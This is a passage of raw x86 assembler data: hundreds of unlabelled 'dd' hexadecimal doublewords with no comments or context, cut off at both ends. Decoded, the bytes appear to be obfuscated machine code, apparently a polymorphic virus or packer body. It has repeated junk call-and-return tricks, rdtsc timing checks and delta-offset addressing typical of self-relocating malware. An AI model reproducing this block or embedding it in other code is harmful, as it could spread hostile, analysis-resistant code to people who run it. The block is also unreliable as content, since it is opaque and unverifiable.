4890F06h, 66000000h, 0FF30D8BFh, 1B0BD595h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 0B1F70CFFh, 895B9B83h, 1B2469B5h, 0DF8B6606h dd 0AD99B5FFh, 6A061Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 7DE5E5C3h, 0F5B529E5h, 0FF061B21h dd 1B1A0995h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 83A5EB14h, 1B07A5BDh, 840F0206h dd 5Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h dd 53C35545h, 2B0D72E1h, 1B0105BDh, 31858B06h, 6A061B30h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 8306C350h, 3A2CEF86h, 9D31FC00h, 61B1F29h dd 810000C6h, 48D96D3h, 0D585C74Fh, 61B2Bh, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 8C47C350h, 8529A669h, 61B0C01h, 0FFF3BDE9h dd 8B0BB3FFh, 55006AC1h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 0DBA4A084h, 870FB412h, 6, 0ACDBD8Bh dd 0BD09061Bh, 61B2A19h, 32ED858Dh, 8166061Bh, 0F8BF5C3h dd 0E950DABFh, 14h, 1C1BDCC2h, 0D440F28h, 0CF0C5783h, 0B3E738CEh dd 88E67E4h, 66240489h, 0CD6DDF81h, 6E8006Ah, 40000000h dd 0AE3FF4D5h, 5BD019Ch, 5F061B13h, 9D8B006Ah, 61B1A8Dh dd 0ACA0858Dh, 0FC53061Fh, 5C0835Bh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 7C35242h, 0C794F209h, 0F0C17DBh dd 0B6EB81F8h, 0F22CE8Bh, 0F90FFBFh, 0C89h, 6870F00h, 50000000h dd 5A310F52h, 0E2BB5058h, 904E29F4h, 0BB66D88Bh, 6A436Fh dd 14E8006Ah, 0AA000000h, 0F6DCEF76h, 2597738Fh, 605B395Dh dd 0F677F22Ah, 89D8AB80h, 1B02D185h, 10E85F06h, 0F0000000h dd 49A834A2h, 8344C586h, 0D0956F7Ch, 0E8316951h, 9, 8644B2B1h dd 0A1101F6Ah, 5B5B51A8h, 195FF5Bh, 6A061B1Ah, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 557DC352h, 550CC57Eh, 61A6B160h, 92B78D8Dh, 0BD8B061Eh dd 61B11D1h, 0E856D1FFh, 10h, 0D1B9C023h, 0E1E63042h, 107870Fh dd 3299BF77h, 0DD7FBF66h, 0BD835B5Fh, 61B1CD5h, 46850F01h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 64B4C352h, 62942FA4h, 6AFB8B66h dd 0FBB70F02h, 50DA8B90h, 239009B7h, 1B29BD9Dh, 0FFD88B06h dd 1B142D95h, 9D295306h, 61B0A79h, 0C77E95Fh, 0E80000h dd 5D000000h, 0ACAAED81h, 9D8B061Fh, 61B0199h, 1271BD8Bh dd 0CE8061Bh, 68000000h, 0DA8D81Bh, 883B5D1Fh, 0FB2DCCBh dd 28Eh, 5B14B300h, 853D858Dh, 6A061Eh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 868F63C3h dd 33EF8133h, 602D0BE3h, 12C98166h, 41BD0125h, 61061B14h dd 5E990h, 21C30000h, 50ECC70Fh, 0B7605250h, 310F614Bh dd 5E9h, 0E1E74600h, 585AC13Eh, 7E890h, 871D0000h, 0AAFD1665h dd 0E4C381DCh, 5F65A710h, 35FF64h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 0ED08C352h, 74DBD695h, 0DFB70FDAh, 727DEB81h, 89647F51h dd 25h, 39BD8B00h, 0FF061B09h, 1B2B0D85h, 3D858906h, 8B061B0Eh dd 1B1EC99Dh, 6AFF6A06h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 0D108C352h, 1E6884A3h dd 1985899Fh, 0FF061B11h, 1B2299B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0FC781F8h dd 0BB005B55h, 55DB8DEh, 0C798D89h, 95FF061Bh, 61B0805h dd 0FBE9h, 80A7B700h, 0B0A5C3h, 29C58D31h, 70E6061Bh, 71E4A7B3h dd 8D8B6052h, 61B326Dh, 0E740EA81h, 5F617BA2h, 830F613Ch dd 0D0h, 12E8h, 0FB343300h, 373BB1Fh, 0A96A20ECh dd 5DB4D9Dh, 31873A0Dh, 1B1D059Dh, 0B60F5B06h, 1D9D03C8h dd 0BA061B0Fh, 6, 0FC18BF8h, 687h, 2CE78100h, 0C109A8BDh dd 0B58904E8h, 61B16C5h, 2BE2F766h, 0F98B66C8h, 7DE9D18Bh dd 8B000000h, 1B0BD1BDh, 8858B06h, 0E9000000h, 8, 0F667DC8Eh dd 43CD8A30h, 0BF07C083h, 7BD32A82h, 52AAEB81h, 0C0834E0Bh dd 0FD03B00h, 1683h, 798D0900h, 51061B23h, 2975BD8Bh, 0E95B061Bh dd 38h, 8BFFBF0Fh, 0FFFFFF8Dh, 699D8BFFh, 66061B07h, 837886BBh dd 840F01E1h, 1Ch, 1DFBBB66h, 0FFFFA583h, 89FEFFFFh, 895h dd 0D5B58900h, 0E9061B25h, 0 dd 2E8FB58Dh, 8E0F061Fh, 5, 0BCE38166h, 80006A68h, 95FFEBF7h dd 61B2205h, 3ACB8166h, 0A0CB81D7h, 0B92498E0h, 1001h dd 0E98D89h, 0E183061Bh, 419D0BFCh, 0FC061B01h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 8FC35242h, 64661C1h dd 840FAD46h, 0 dd 6AC02Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 0BAF1C3h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 3BB4C356h dd 0C233AD41h, 0D003E8D1h, 7504E983h, 0E18D89F4h, 0D061B18h dd 88h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h dd 0F3C35747h, 51A252B9h, 11BB6653h, 8B5B5F3Bh, 1B242995h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 0B70FC247h, 658D8BF9h, 66061B07h, 8B50FA8Bh dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 85895260h dd 61B1A49h, 0CE95Fh, 16470000h, 0F89367AFh, 0BEDBD0BFh dd 6A61A76Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 0F1E5C357h, 0A806C06Ah, 0F4DE181Bh dd 1769BD83h, 0F00061Bh, 6784h, 0A1953100h, 0BB061B0Ch dd 72FCB6F4h, 0B8h, 0CE900h, 2B860000h, 591EDA60h, 6DA786Ah dd 8D8D5262h, 61B4CD3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 33C35343h, 19E05767h, 63BB4FF3h, 0E831C9A3h dd 8, 0AC1E37D9h, 0AAFF8A4Ah, 5BF88B66h, 8D89E1FFh, 61B2FB9h dd 13D1BD83h, 0F00061Bh, 36384h, 0D3816600h, 0BD83AAE3h dd 61B13D1h, 6C840F01h, 6A000003h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 457CC352h dd 0EF817460h, 537D5233h, 0BD83F88Bh, 61B13D1h, 2860F03h dd 81000003h, 0F87B08EBh, 0BD8B6060h, 61B2D75h, 6AD98C66h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 7326C356h, 0E180339Ch, 8E904h, 0BAD70000h dd 0D9A4AE77h, 0C90ABCB2h, 9A840Fh, 8BFC0000h, 1B014585h dd 33D98B06h, 1B2A3185h, 79BD8B06h, 31061B06h, 1B2E9595h dd 8B665006h, 240489FAh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 98C35343h, 890B8F1Eh, 1B10659Dh, 0EECB8106h dd 6A6555F1h, 0F5958900h, 68061B08h, 0E4177ABBh, 11E8h dd 0D30C1B00h, 0CA9BE4E7h, 731876FDh, 68E8E54Eh, 815FA142h dd 89442404h, 8D891C07h, 61B19A1h, 323595FFh, 9D31061Bh dd 61B1AA1h, 0AD998589h, 8166061Eh, 0E972FCCBh, 168h, 0AD91858Bh dd 6A061Eh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 0FA838C3h, 689h, 0F5858900h, 0C7061B32h dd 1800h, 0AABE6000h, 6639792Fh, 6198F9BEh, 0AD95B58Bh dd 6A061Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 0B5094BC3h, 61B0C85h, 1229858Bh, 9D23061Bh dd 61B2F1Dh, 840F0689h, 6, 16B18589h, 858B061Bh, 61B0145h dd 2BF1BD8Bh, 4689061Bh, 218D8904h, 96061B0Eh, 8B525057h dd 0E9310FFBh, 0Bh, 3BD3A029h, 31C26256h, 5ABED7B7h, 56505F58h dd 5FF98A57h, 6A965Fh, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 173FC3h, 81B884F3h, 0A308A1D7h dd 91B5FF69h, 6A061EADh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 0DBFCC357h, 89CFF70Ah dd 1B0BE9BDh, 932E6806h, 481CAE2h, 3C70D124h, 2830F35h dd 8B000000h, 99858DD8h, 89061EADh, 1B32F195h, 0F5BB5006h dd 893D0BF1h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 29E138C3h, 93EDC6C9h, 0FFFEB70Fh dd 1B323595h, 85958906h, 0FC061B08h, 55006A61h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 1CB2793Bh dd 0F41BF411h, 3DBD8BD5h, 0C7061B19h, 1B13D185h, 306h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 373C84E7h, 0E1EFB1ABh, 0BD83D3B6h, 61EAD99h dd 52840F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 0E215C353h, 0F57D75CEh dd 8B6CD1BBh, 1B086D9Dh, 3EE906h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8BE15DC3h dd 1B24F9BDh, 0C305006h, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 93C35343h, 0C28E4125h, 335C4CA5h, 0D3FCB81h dd 0BD8372E3h, 61B13D1h, 3C850F03h, 89000004h, 1B17FD95h dd 99BD8306h, 61EADh, 429840Fh, 7E90000h, 0F4000000h, 0A99F2272h dd 0B5FF9378h, 61EAD99h, 2EB5BD8Bh, 95FF061Bh, 61B0111h dd 2B11BD89h, 0B58B061Bh, 61EAD8Dh, 5E9h, 0F6D4CA00h, 6C782B7h dd 10001h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 0D7C35343h, 242C214Eh, 9BD89C4h, 96061B33h, 6E850h dd 810C0000h, 29782F58h, 8E8h, 0FAC1900h, 0DD4CD498h, 6E82Bh dd 0B11F0000h, 0AAB1AC3Bh, 965F5F5Fh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 0A1C35747h, 0E780628Eh, 99B5FF0Ch dd 6A061EADh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 0DE68C353h, 5A0B5CC4h, 0B7C80718h dd 0C995FF89h, 6A061B1Bh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 6DC7C355h, 8A0E4619h dd 8DB58BF9h, 6A061EADh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 0B3A7C350h, 0DF8B5D24h dd 8056E780h, 858B9EEFh, 61B0D25h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 0A2C35242h, 14E9h, 0B0795900h dd 7491FAF9h, 0A10D2248h, 33605A03h, 228E6139h, 0C48689A3h dd 0F000000h, 28Eh, 8BEBB700h, 1B242995h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 83581198h, 8D0F04C2h, 11h, 0AE953h, 58990000h, 44556317h dd 47F39113h, 2050895Fh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 0F1C35040h, 90901FEAh, 8DB04BFBh, 1EC0C785h dd 0F3816606h, 8689E08Bh, 0B8h, 518420BBh, 0E8006A12h dd 0Dh, 62301E73h, 1A79134Ch, 7A02A887h, 28D3819Dh, 5B0DAB01h dd 0AD99B5FFh, 0C780061Eh, 2D95FF63h, 0E8061B14h, 11h dd 39832FA9h, 0D1648F11h, 4A2B4047h, 7AF8285Fh, 5E5660DBh dd 24B9BD89h, 5B61061Bh, 0D88B6650h, 6A243489h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 0DCDAC356h, 136B20F3h, 299D8B6Eh, 0FF061B29h, 1EAD99B5h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 0E11B67Fh, 3227E7DCh, 0E7D9D09h, 95FF061Bh dd 61B1B91h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 0C8C35040h, 76B55ED9h, 9E8A6A0h, 16000000h, 318BB24Eh dd 3FA4349Eh, 5BDA8B66h, 0C81BD83h, 0F00061Bh, 3F84h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0DE717391h, 4EC9A193h, 65BD8Bh, 0BB96061Bh, 7A7EDFA3h dd 8A525050h, 5A310FFAh, 8D299658h, 61B079Dh, 0AD99B5FFh dd 6A061Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0E45AFFC3h, 5E9F88Bh, 51000000h, 26E8C3E9h dd 0BD595FFh, 6A061Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 0DED757C3h, 0DF8057B9h, 99B5FF79h dd 6A061EADh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 0DA90C352h, 0EBD2A22Eh, 0C2AD972Bh dd 0BC9FD781h, 95FF0BDCh, 61B1A09h, 0A5BD83F8h, 2061B07h dd 5E840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 2DABB3C3h, 870F025Ch, 3, 8BFA8B66h dd 1B303185h, 0FA8B6606h, 6A0000C6h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0AC3C351h dd 0BD895A2Fh, 61B02D9h, 5B59BB66h, 2BD585C7h, 61Bh, 0FDBF0000h dd 0E91D2271h, 0FFFFF4A5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 0B4C35545h, 0E15118h, 6606665Dh, 81C18BB9h dd 5DF72CDFh, 0ED858D45h, 0F061B32h, 68Fh, 219D8B00h, 50061B0Eh dd 489D88Bh, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 3880ED75h, 0DABF0FD9h, 0A2A7F381h dd 880F5558h, 16h, 11E9h, 0B2D49600h, 42772EE9h, 0AA3D23E6h dd 0DCF3D89Ch, 6AD2DAh, 12E8h, 16544C00h, 318BB24Eh, 3FA4349Eh dd 9BF0FA9Eh, 0E99E9636h, 10h, 0A6625279h, 68728E4h, 60FAAEB5h dd 0B1254393h, 0E8006A5Fh, 9, 0E480E9FCh, 96A0C692h, 858D5B50h dd 61FBB74h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 2BC35646h, 84504BDBh, 630C4BC7h, 5C08378h, 0B11BD09h dd 5050061Bh, 63ABB52h, 310F4BFFh, 13E9h, 0B686700h, 0F6AA4FC6h dd 0EEEC51BDh, 7B2BAFAAh, 0D7CB71D6h, 489585Ah, 53006A24h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 30CCE76Bh, 8B502580h, 1B1D5D9Dh, 0BE806h, 69930000h dd 0F1AFD033h, 0EFD0F38Ch, 6A5FF5D6h, 8BFE8B00h, 1B2BF19Dh dd 6A006A06h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 0B23DC355h, 38562198h, 66BA04DFh dd 14E8h, 0BEB90700h, 3AEDF738h, 662D25E7h, 40FB2756h dd 0F2308E5Fh, 259D8BD5h, 5F061B2Bh, 0FE9h, 0E0B3C300h dd 0A1C94AE5h, 95741C27h, 70B6797h, 1A0195FFh, 6A061Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 6DCE6AC3h, 13EF131Ah, 5E892h, 55040000h, 894D4FFFh dd 1B2EA5BDh, 0B5895F06h, 61B06B5h, 92B78D8Dh, 6A061Eh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 72A9C9C3h, 751C645h, 0BD8B60FBh, 61B1E95h, 21DD8D01h dd 0D1FF061Bh, 0BD83DF8Bh, 61B1CD5h, 3A850F01h, 66000000h dd 0F675C381h, 9589026Ah, 61B0A71h, 5850F90h, 0BB000000h dd 5EA9EF11h, 6ABE6050h, 6178A25Fh, 0E19D8B90h, 23061B1Eh dd 1B1111BDh, 2D95FF06h, 89061B14h, 1B258D8Dh, 0CCAE906h dd 0E80000h, 5D000000h, 0BB7EED81h, 0D88A061Fh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 3AC35545h, 7907EF27h dd 0FAB70FA6h, 853D858Dh, 7E9061Eh, 7A000000h, 4EA00E6Dh dd 6650EAD4h, 489D88Bh, 50006A24h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 3B2063F4h, 0FF64F6EDh dd 35h, 0CDBD8B00h, 64061B22h, 2589h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 9DA2BBC3h, 0C14C38h, 0BF0F527Dh, 0D85FFFBh, 6A061B2Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 745CC357h, 0F145EF55h, 74BD6BCAh, 0EE9h dd 0AD90C00h, 0C7FA9F1Dh, 21179651h, 6682C85Bh, 6D2FE781h dd 0A5B7FF6Ah, 249DB5FFh, 8D89061Bh, 61B07CDh, 5FC98060h dd 0FF61DA8Ah, 1B080595h, 14CE906h, 9D8B0000h, 61B0655h dd 0BD8900B0h, 61B23F1h, 70E6FE8Ah, 0DE9h, 7F7CF300h, 920A2C9Fh dd 2BF8DFFCh, 71E494E2h, 0AEBE6660h, 0DEBF0FD3h, 0F613C61h dd 11583h, 880F00h, 0F000000h, 9D8BC8B6h, 61B1259h, 6BAh dd 0DE900h, 0F56C0000h, 2FA464B4h, 0D9086294h, 8B751E1Eh dd 299D8BC1h, 0C1061B29h, 0D88B04E8h, 89E2F766h, 1B16A185h dd 8BC82B06h, 1B2AF59Dh, 52D18B06h, 68C0Fh, 0BD890000h dd 61B0DC1h, 0BCE95Bh, 85890000h, 61B1EDDh, 1858Bh, 0CE90000h dd 85000000h, 1D7A8232h, 653A7B4Fh, 0BFBAE66Bh, 27C0ED3Bh dd 0E807C083h, 8, 8DB49C66h, 0FDD8B6A4h, 25FDBD8Bh, 0E85B061Bh dd 0Bh, 16528537h, 8B310E8Ch, 89FD70AEh, 1B2B1185h, 0C0835F06h dd 51BF6600h, 0FD03BF1h, 0E83h, 0A9B52900h, 0E9061B07h dd 52h, 8BF9B70Fh, 0FFFFFF8Dh, 19BD89FFh, 81061B02h, 0D67D80E3h dd 1E18366h, 34840Fh, 8B520000h, 0A5835FDFh, 0FFFFFFFFh dd 13E9FEh, 6F790000h, 19C2BAA8h, 0E6FCEB6Dh, 4E2E8EB5h dd 508D28BAh, 1958976h, 8B000000h, 1B0B11BDh, 0E906h, 0B58D0000h dd 61F3E90h, 0AA1B529h, 6A061Bh, 0FFF3EF80h, 1B220595h dd 258D8906h, 0B9061B09h, 0F2Fh, 9919D09h, 0E183061Bh dd 0B9B589FCh, 0BF061B0Dh, 27B0E69Ch, 57006AFCh, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0A5158DB7h, 92DBD2Bh, 0BF66061Bh, 0B82E28h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 56DC355h, 6AD22Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 0D39C13C3h, 0E9A29EF7h dd 11h, 0F875DBDDh, 2EE38C81h, 2B1E5C49h, 0BB124098h, 0AD2DB724h dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0DA0BC350h dd 35DB9D57h, 3585091Fh, 6A061B21h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0F44AC352h dd 30E4EFAh, 0D217E99h, 88h, 3149BD8Bh, 958B061Bh, 61B2429h dd 0DE9h, 702DF700h, 49E80C62h, 0FA26DC6h, 8D8BE73Eh, 61B0765h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0B2C35242h dd 82AB5278h, 3BF1C4F9h, 0D5BD8BECh, 0F9061B29h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 0E9605818h, 13h, 0EFAAAE25h dd 66995B00h dd 73A8D9Ah, 36998BDAh, 8A20B774h, 6A61DAh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 517604C3h dd 0ABF66D7h, 69BD83D6h, 61B17h, 85840Fh, 0AE90000h, 75000000h dd 57EC68F2h, 0D14D63CFh, 0B80Eh, 9D8B0000h, 61B0AE9h dd 4CD38D8Dh, 6A061Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 36305C3h, 10E99Ch, 2F00000h, 4E799FF2h dd 291609D3h, 8DE48120h, 0E1FFE3D4h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 5DC35343h, 7281E650h, 233587EDh dd 19E99589h, 75BF061Bh, 836E9BCFh, 1B13D1BDh, 840F0006h dd 44Dh, 6830Fh, 8D890000h, 61B17C9h, 13D1BD83h, 0F01061Bh dd 44F84h, 8D895200h, 61B226Dh, 83DE8B5Bh, 1B13D1BDh, 860F0306h dd 402h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 3BC35040h, 0E522D59h, 87AD1ADFh, 60DAB70Fh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 29C35545h, 0C02D0763h dd 0AC1B0C63h, 0D98C6691h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 0D1C35343h, 0E9FBB70Fh, 11h, 0DD17F20Ah dd 0C866A7F4h, 0AA1ECD27h, 7C928AFFh, 4E180ECh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 4CC35646h, 0E0F099ADh dd 8D89B938h, 61B1219h, 899BD01h, 0C90A061Bh, 0DB840Fh dd 9D8B0000h, 61B1A15h, 145858Bh, 0BF0F061Bh, 318533DFh dd 89061B2Ah, 1B010D85h, 50609006h, 0E950615Eh, 0Dh, 0BCEBAD76h dd 0DC2B721Fh, 4E4D8E92h, 6A905Fh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 92F1FDC3h, 0DE0A50B1h dd 0C3BB66F6h, 6A006A7Dh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 3286C352h, 0B5958905h dd 68061B03h, 7117134h, 0CB243481h, 0FF070E72h, 1B323595h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 0FD2E4C0h, 0E80h, 0BD896000h, 61B2C41h dd 13C5B589h, 8961061Bh, 1EAD9985h, 0DB816606h, 0DFE90AA7h dd 89000001h, 1B16A985h, 91858B06h, 52061EADh, 0AD9BF381h dd 0C75B2271h, 1800h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 25D445Fh, 5169B1DDh, 0B1BD33E0h dd 8B061B0Ah, 1EAD95B5h, 29858B06h, 6A061B12h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 0B5F3C350h, 59FF0FE9h, 785D0A19h, 16A19D01h, 689061Bh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0FAC35242h dd 8D0FF00Ah, 6, 2909BD01h, 858B061Bh, 61B0145h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0EAC35747h, 8B021C15h dd 1B035D9Dh, 0EDBD8B06h, 0F061B0Ah, 4689FEB7h, 659D8B04h dd 96061B19h, 0BB665250h, 310F148Ah, 14E9h, 8FF6DC00h dd 5D259773h, 2A605B39h, 80F677F2h, 0C58D8ABh, 50585A7Eh dd 0FB8B6652h, 6A965Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 0D7BEBEC3h, 0D5BD01EFh, 0FF061B10h dd 1EAD91B5h, 9DBD0906h, 68061B01h, 0C4FCAAAAh, 8A0F5250h dd 2, 310FDE8Bh, 8C0F60h, 61000000h, 481585Ah, 22595524h dd 55006A3Bh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 93CCB86Bh, 198D9D8Bh, 858D061Bh, 61EAD99h dd 68C0Fh, 8D890000h, 61B1CB5h, 89DE8A50h, 6A2404h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 648C74C3h, 577173Ch, 0C4B4BFA1h, 95FF0B01h, 61B3235h dd 0E1816660h, 6E9F03Bh, 89000000h, 0FC86FE46h, 6A616173h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 84FCC350h, 0D3DF9D33h, 0E5B6DB48h, 6810Fh dd 0CF810000h, 65D42B01h, 13D185C7h, 3061Bh, 0BD230000h dd 61B2B11h, 0AD99BD83h, 0F00061Eh, 4184h, 0BDBD8B00h dd 0E9061B11h, 51h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 0AC35747h, 0E810B0DAh, 11DA75EDh, 0CE8h dd 80596400h, 0BFDD38F4h, 0E801DE6Fh, 30505BE4h, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 8B60F9C0h dd 0F18B66D7h, 0D1BD8361h, 3061B13h, 356850Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0F439ACC3h, 0E93B2063h, 0Ah, 0F651A705h, 0E742FEEAh dd 0BD83FF7Dh, 61EAD99h, 19840F00h, 6A000003h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 958BC357h, 0DA0E6764h, 6830F3Ch, 8B000000h, 1B01C99Dh dd 99B5FF06h, 9061EADh, 1B00E595h, 1195FF06h, 0FC061B01h dd 0AD8DB58Bh, 0AE9061Eh, 2D000000h, 0C9CF3DA6h, 0AB0DDCFCh dd 106C737h, 6A000100h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 9F59C352h, 0BD349D06h dd 5096FF97h, 0F525060h, 62B96631h, 66585AC7h, 618FDCB8h dd 0DE996h, 0A1380000h, 0A8040540h, 0D04842F9h, 0FFA9C22Ah dd 1EAD99B5h, 83DF8106h, 0FF28240Dh, 1B1BC995h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 6DB4BCD2h, 4C92BAD8h, 816651A3h, 8B7A96CFh, 1EAD8DB5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 8C0FD46Ah, 0Ch, 68E0Fh, 0B5290000h, 61B179Dh dd 0D25858Bh, 0B531061Bh, 61B168Dh, 0C48689h, 0DF800000h dd 76D7811Ah, 8B06B8D5h, 1B242995h, 0C3816606h, 0C2833286h dd 0FA8B5304h, 0B529605Fh, 61B1D29h, 0CE9h, 6144B300h dd 0A3F2BEB3h, 4BD1E09Fh, 508961A6h, 0FBBF0F20h, 12259D8Bh dd 858D061Bh, 61EC0C7h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 